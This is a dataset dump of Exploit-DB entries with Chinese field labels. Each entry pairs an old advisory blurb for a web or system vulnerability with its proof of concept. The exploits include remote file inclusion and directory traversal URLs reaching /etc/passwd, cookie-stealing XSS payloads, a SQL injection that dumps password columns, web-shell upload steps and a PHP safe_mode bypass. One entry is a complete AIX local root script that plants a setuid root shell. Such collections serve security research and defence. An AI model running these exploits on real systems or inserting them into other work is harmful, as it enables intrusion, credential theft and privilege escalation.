QLWD/code_shield huggingface dataset:
标题: Telekorn Signkorn Guestbook 1.x - '/includes/admin.inc.php?dir_path' Remote File Inclusion EDB-ID: 28525 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
   
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
   
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/includes/admin.inc.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28525
标题: Telekorn Signkorn Guestbook 1.x - 'help.php?dir_path' Remote File Inclusion EDB-ID: 28526 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
    
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
    
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28526
标题: Telekorn Signkorn Guestbook 1.x - '/help/en/adminhelp2.php?dir_path' Remote File Inclusion EDB-ID: 28530 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
        
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
        
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/en/adminhelp2.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28530
标题: IDevSpot iSupport 1.8 - 'open_tickets.php?ticket_id' Cross-Site Scripting EDB-ID: 28516 CVE: 2006-4884 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19963/info
 
IDevSpot iSupport is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Version 1.8 is vulnerable; other versions may also be affected.

http://www.example.com/isupport/support/open_tickets.php?ticket_id=[xss] URL: https://www.exploit-db.com/exploits/28516
标题: paul smith computer services vcap Calendar server 1.9 - Directory Traversal EDB-ID: 28512 CVE: 2006-5034 类型: REMOTE 平台: WINDOWS 发布日期: 2009-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19958/info

vCAP Calendar Server is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks. 

vCAP Calendar Server 1.9.0 Beta and prior versions are vulnerable to this issue.

http://www.example.com:6100/../Data/vCAP.db URL: https://www.exploit-db.com/exploits/28512
标题: PHProg 1.0 - 'index.php?lang' Traversal Arbitrary File Access EDB-ID: 28511 CVE: 2006-4753 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/19957/info
 
PHProg is prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data and may allow an attacker to carry out cross-site scripting and local file-include attacks. 
 
Version 1.0 of PHProg is reported vulnerable; other versions may be affected as well.
 
NOTE: This BID is being retired because it is a duplicate of BID 19942.

http://www.example.com/PHProg/index.php?lang=../../../../../../BOOT.INI%00 URL: https://www.exploit-db.com/exploits/28511
标题: Telekorn Signkorn Guestbook 1.x - '/includes/functions.gb.php?dir_path' Remote File Inclusion EDB-ID: 28523 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
 
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/includes/functions.gb.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28523
标题: Apple QuickTime 6/7 - '.FLC' Movie COLOR_64 Chunk Overflow EDB-ID: 28521 CVE: 2006-4384 类型: DOS 平台: OSX 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19976/info

Apple QuickTime is prone to multiple vulnerabilities because it fails to properly bounds-check and sanitize user-supplied data.

An attacker can exploit these issues to execute arbitrary code in the context of the victim user running the vulnerable application. Successful exploits may facilitate a remote compromise of affected computers.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28521.zip URL: https://www.exploit-db.com/exploits/28521
标题: Paul Smith Computer Services VCAP Calendar Server 1.9 - Remote Denial of Service EDB-ID: 28513 CVE: 2006-5033 类型: DOS 平台: WINDOWS 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19959/info

vCAP Calendar Server is prone to a remote denial-of-service vulnerability. This issue is due to a design error.

An attacker can exploit this issue to crash the application, effectively denying service.

vCAP Calendar Server 1.9.0 Beta and prior versions are vulnerable to this issue.

http://www.example.com:6100/StoresAndCalendars List.cgi?session=%d%d%d%d%d URL: https://www.exploit-db.com/exploits/28513
标题: PHProg 1.0 - 'index.php?album' Cross-Site Scripting EDB-ID: 28510 CVE: 2006-4754 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/19957/info

PHProg is prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data and may allow an attacker to carry out cross-site scripting and local file-include attacks. 

Version 1.0 of PHProg is reported vulnerable; other versions may be affected as well.

NOTE: This BID is being retired because it is a duplicate of BID 19942.

http://www.example.com/PHProg/?id=1&album=<script>alert('input')</script> URL: https://www.exploit-db.com/exploits/28510
标题: IDevSpot iSupport 1.8 - 'index.php?cons_page_title' Cross-Site Scripting EDB-ID: 28517 CVE: 2006-4884 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19963/info
  
IDevSpot iSupport is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Version 1.8 is vulnerable; other versions may also be affected.

http://www.example.com/isupport/index.php?cons_page_title=[xss] URL: https://www.exploit-db.com/exploits/28517
标题: IDevSpot iSupport 1.8 - 'rightbar.php?suser' Cross-Site Scripting EDB-ID: 28515 CVE: 2006-4884 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19963/info

IDevSpot iSupport is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Version 1.8 is vulnerable; other versions may also be affected.

http://www.example.com/isupport/support/rightbar.php?suser=[xss] URL: https://www.exploit-db.com/exploits/28515
标题: Telekorn Signkorn Guestbook 1.x - 'index.php?dir_path' Remote File Inclusion EDB-ID: 28522 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info

Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/index.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28522
标题: SQL-Ledger 2.6.x/LedgerSMB 1.0 - 'Terminal' Directory Traversal EDB-ID: 28514 CVE: 2006-4731 类型: WEBAPPS 平台: CGI 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19960/info

SQL-Ledger and LedgerSMB are prone to a remote directory-traversal vulnerability.

An attacker can exploit this issue to include arbitrary files located on the vulnerable computer in the context of the webserver process. 

The attacker may be able to use the application's built-in text editor to alter a local file and exploit this issue to execute arbitrary code. This may facilitate a compromise of the vulnerable computer.

SQL-Ledger version 2.6.18 and LedgerSMB version 1.0.0 are vulnerable to this issue.

http://www.example.com/path/login.pl?terminal=../css URL: https://www.exploit-db.com/exploits/28514
标题: XHP CMS 0.5.1 - 'index.php' Cross-Site Scripting EDB-ID: 28509 CVE: 2006-4751 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/19948/info

XHP CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Version 0.5.1 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?errcode=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28509
标题: TextAds - 'delete.php?id' Cross-Site Scripting EDB-ID: 28502 CVE: 2006-4747 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/19932/info

TextAds is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/textads/clients/delete.php?id=[xss] URL: https://www.exploit-db.com/exploits/28502
标题: IBM AIX 6.1/7.1 - Local Privilege Escalation EDB-ID: 28507 CVE: 2013-4011 类型: LOCAL 平台: AIX 发布日期: 2013-09-24 漏洞利用脚本: # Exploit-DB Note: Screenshot provided by exploit author
#

#!/bin/sh
# Exploit Title: IBM AIX 6.1 / 7.1 local root privilege escalation
# Date: 2013-09-24
# Exploit Author: Kristian Erik Hermansen <kristian.hermansen@gmail.com>
# Vendor Homepage: http://www.ibm.com
# Software Link: http://www-03.ibm.com/systems/power/software/aix/about.html
# Version: IBM AIX 6.1 and 7.1, and VIOS 2.2.2.2-FP-26 SP-02
# Tested on: IBM AIX 6.1
# CVE: CVE-2013-4011
echo '
   mm   mmmmm  m    m
   ##     #     #  # 
  #  #    #      ##  
  #mm#    #     m""m 
 #    # mm#mm  m"  "m
'
echo "[*] AIX root privilege escalation"
echo "[*] Kristian Erik Hermansen"
echo "[*] https://linkedin.com/in/kristianhermansen"
echo "
+++++?????????????~.:,.:+???????????++++
+++++???????????+...:.,.,.=??????????+++
+++???????????~.,:~=~:::..,.~?????????++
+++???????????:,~==++++==~,,.?????????++
+++???????????,:=+++++++=~:,,~????????++
++++?????????+,~~=++++++=~:,,:????????++
+++++????????~,~===~=+~,,::,:+???????+++
++++++???????=~===++~~~+,,~::???????++++
++++++++?????=~=+++~~~:++=~:~+???+++++++
+++++++++????~~=+++~+=~===~~:+??++++++++
+++++++++?????~~=====~~==~:,:?++++++++++
++++++++++????+~==:::::=~:,+??++++++++++
++++++++++?????:~~=~~~~~::,??+++++++++++
++++++++++?????=~:~===~,,,????++++++++++
++++++++++???+:==~:,,.:~~..+??++++++++++
+++++++++++....==+===~~=~,...=?+++++++++
++++++++,........~=====..........+++++++
+++++................................++=
=+:....................................=
"
TMPDIR=/tmp
TAINT=${TMPDIR}/arp
RSHELL=${TMPDIR}/r00t-sh

cat > ${TAINT} <<-!
#!/bin/sh
cp /bin/sh ${RSHELL}
chown root ${RSHELL} 
chmod 4555 ${RSHELL}
!

chmod 755 ${TAINT}
PATH=.:${PATH}
export PATH
cd ${TMPDIR}
/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null
if [ -e ${RSHELL} ]; then
  echo "[+] Access granted. Don't be evil..."
  ${RSHELL}
else
  echo "[-] Exploit failed. Try some 0day instead..."
fi URL: https://www.exploit-db.com/exploits/28507
标题: Vikingboard 0.1 - 'topic.php' SQL Injection EDB-ID: 28499 CVE: 2006-4709 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/19919/info

Viking board is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

This may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 0.1b is vulnerable; other versions may also be affected.

http://www.example.com/topic.php?t=1&s=-1[Query] URL: https://www.exploit-db.com/exploits/28499
标题: AckerTodo 4.0 - 'index.php' Cross-Site Scripting EDB-ID: 28494 CVE: 2006-4668 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19894/info

AckerTodo is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue would allow an attacker to steal cookie-based credentials and to launch other attacks.

Version 4.0 is vulnerable; other versions may also be affected.

index.php?cmd=edit_task&task_id="><script>document.write(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28494
标题: Vikingboard 0.1b - 'help.php' Cross-Site Scripting EDB-ID: 28497 CVE: 2006-4708 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/19916/info

Vikingboard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Version 0.1b is vulnerable; other versions may also be affected.

http://www.example.com/help.php?act=[XSS] URL: https://www.exploit-db.com/exploits/28497
标题: TextAds - 'error.php?error' Cross-Site Scripting EDB-ID: 28503 CVE: 2006-4747 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/19932/info
 
TextAds is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/textads/clients/error.php?error[xss] URL: https://www.exploit-db.com/exploits/28503
标题: Vikingboard 0.1b - 'report.php' Cross-Site Scripting EDB-ID: 28498 CVE: 2006-4708 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/19916/info
 
Vikingboard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Version 0.1b is vulnerable; other versions may also be affected.

http://www.example.com/report.php?p=[XSS] URL: https://www.exploit-db.com/exploits/28498
标题: Microsoft Indexing Service - Query Validation Cross-Site Scripting EDB-ID: 28500 CVE: 2006-0032 类型: REMOTE 平台: WINDOWS 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19927/info

Microsoft Indexing Service is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input before it is rendered to other users. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user, in the context of the victim's session. This could allow the attacker to perform actions on behalf of the victim, such as spoofing content or hijacking their session.

Microsoft Indexing Service is not installed or enabled by default. Even if installed, it is not accessible from Internet Information Services (IIS). This vulnerability affects only systems that have IIS and Indexing Service installed and that have the Indexing Service configured to be accessible from IIS through a web-based interface.

http://www.example.com/+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://www.example.com/+ADw-SCRIPT+AD4-alert('XSS');+ADw-+AC8-SCRIPT+AD4-.ida

UTF-7("<") = +ADw-, +ADx-, +ADy-, +ADz-
UTF-7(">") = +AD4-, +AD5-, +AD6-, +AD7-
UTF-7("/") = +AC8-, +AC9- URL: https://www.exploit-db.com/exploits/28500
标题: PHP-Nuke Book Catalog Module 1.0 - 'upload.php' Arbitrary File Upload EDB-ID: 28493 CVE: 2006-4666 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19890/info

The Book Catalog module for PHP-Nuke is prone to a vulnerability that lets attackers upload arbitrary files.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Book Catalog 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/modules/BookCatalog/upload.php Upload c99 or r57 shell scripts http://www.example.com/modules/BookCatalog/images/bookimg/c99safemod.php URL: https://www.exploit-db.com/exploits/28493
标题: PHP 3 < 5 - Ini_Restore() 'Safe_mode' / 'open_basedir' Restriction Bypass EDB-ID: 28504 CVE: 2006-4625 类型: LOCAL 平台: PHP 发布日期: 2006-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/19933/info

PHP is prone to a 'safe_mode' and 'open_basedir' restriction-bypass vulnerability. Successful exploits could allow an attacker to access sensitive information or to write files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.

These issues are reported to affect PHP versions 5.1.6, 4.4.4, and earlier.

Reports indicate that fixes may be available to address this issue, but this has not been confirmed.

<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?> URL: https://www.exploit-db.com/exploits/28504
标题: Sage 1.3.6 - Input Validation EDB-ID: 28501 CVE: 2006-6919 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/19928/info

The application is prone to an input-validation vulnerability that allows malicious HTML and script code to be injected before it is used in dynamically generated content.

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

.
 <rss version="2.0">
.
 <channel>
<title>Cross Context Scripting with Sage</title>
.
 <item>
<title>WINDOWS: works with "Allow HTML Tags" off</title>
.
 <content:encoded>
<script>try { request = new XMLHttpRequest(); request.open("GET", "file:///C:/boot.ini"); request.send(); alert(request.responseText); } catch(e) {}</script>
</content:encoded>
</item>
.
 <item>
<title>WINDOWS: works with "Allow HTML Tags" on</title>
.
 <content:encoded>
<script>try { request = new XMLHttpRequest(); request.open("GET", "file:///C:/boot.ini"); request.send(); alert(request.responseText); } catch(e) {}</script>
</content:encoded>
</item>
.
 <item>
<title>UNIX: works with "Allow HTML Tags" off</title>
.
 <content:encoded>
<script>try { request = new XMLHttpRequest(); request.open("GET", "file:///etc/passwd"); request.send(); alert(request.responseText); } catch(e) {}</script>
</content:encoded>
</item>
.
 <item>
<title>UNIX: works with "Allow HTML Tags" on</title>
.
 <content:encoded>
<script>try { request = new XMLHttpRequest(); request.open("GET", "file:///etc/passwd"); request.send(); alert(request.responseText); } catch(e) {}</script>
</content:encoded>
</item>
</channel>
</rss> URL: https://www.exploit-db.com/exploits/28501
标题: TWiki 4.0.x - 'Viewfile' Directory Traversal EDB-ID: 28495 CVE: 2006-4294 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19907/info

Twiki is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

Twiki versions 4.00 to 4.04 are vulnerable to this issue.

http://example.com/bin/viewfile/TWiki/TWikiDocGraphics?rev=1;filename=../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/28495
标题: DSocks 1.3 - 'Name' Buffer Overflow (PoC) EDB-ID: 28491 CVE: 2006-4611 类型: DOS 平台: MULTIPLE 发布日期: 2006-09-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/19852/info

Dsocks is prone to a remote buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

An attacker may exploit this vulnerability to execute arbitrary code in the context of the user running the application or to crash the application, resulting in denial-of-service conditions.

http://foo.123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234 56789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234 5678901234567890123456789012345678901234567890.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAveryvery longname.com.invalid/ URL: https://www.exploit-db.com/exploits/28491
标题: Uni-vert PHPLeague 0.82 - 'Joueurs.php' SQL Injection EDB-ID: 28492 CVE: 2006-4643 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/19880/info

Uni-vert PhpLeague is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

This issue may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Versions 0.82b and 0.82 are vulnerable; other versions may also be affected.

http://www.example.com/[path]/consult/joueurs.php?id_joueur=-1'%20UNION%20SELECT%20pseudo,2,3,mot_de_passe,5,mail,7,8,9%20%20FROM%20phpl_membres%20WHERE%20id%20='1 URL: https://www.exploit-db.com/exploits/28492
标题: PHP-Nuke MyHeadlines 4.3.1 Module - Cross-Site Scripting EDB-ID: 28487 CVE: 2006-4563 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/19825/info

PHP-Nuke MyHeadlines module is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/modules.php?op=modload&name=MyHeadlines&file=index&myh=user&myh_op=show_all[code]&eid=2474 URL: https://www.exploit-db.com/exploits/28487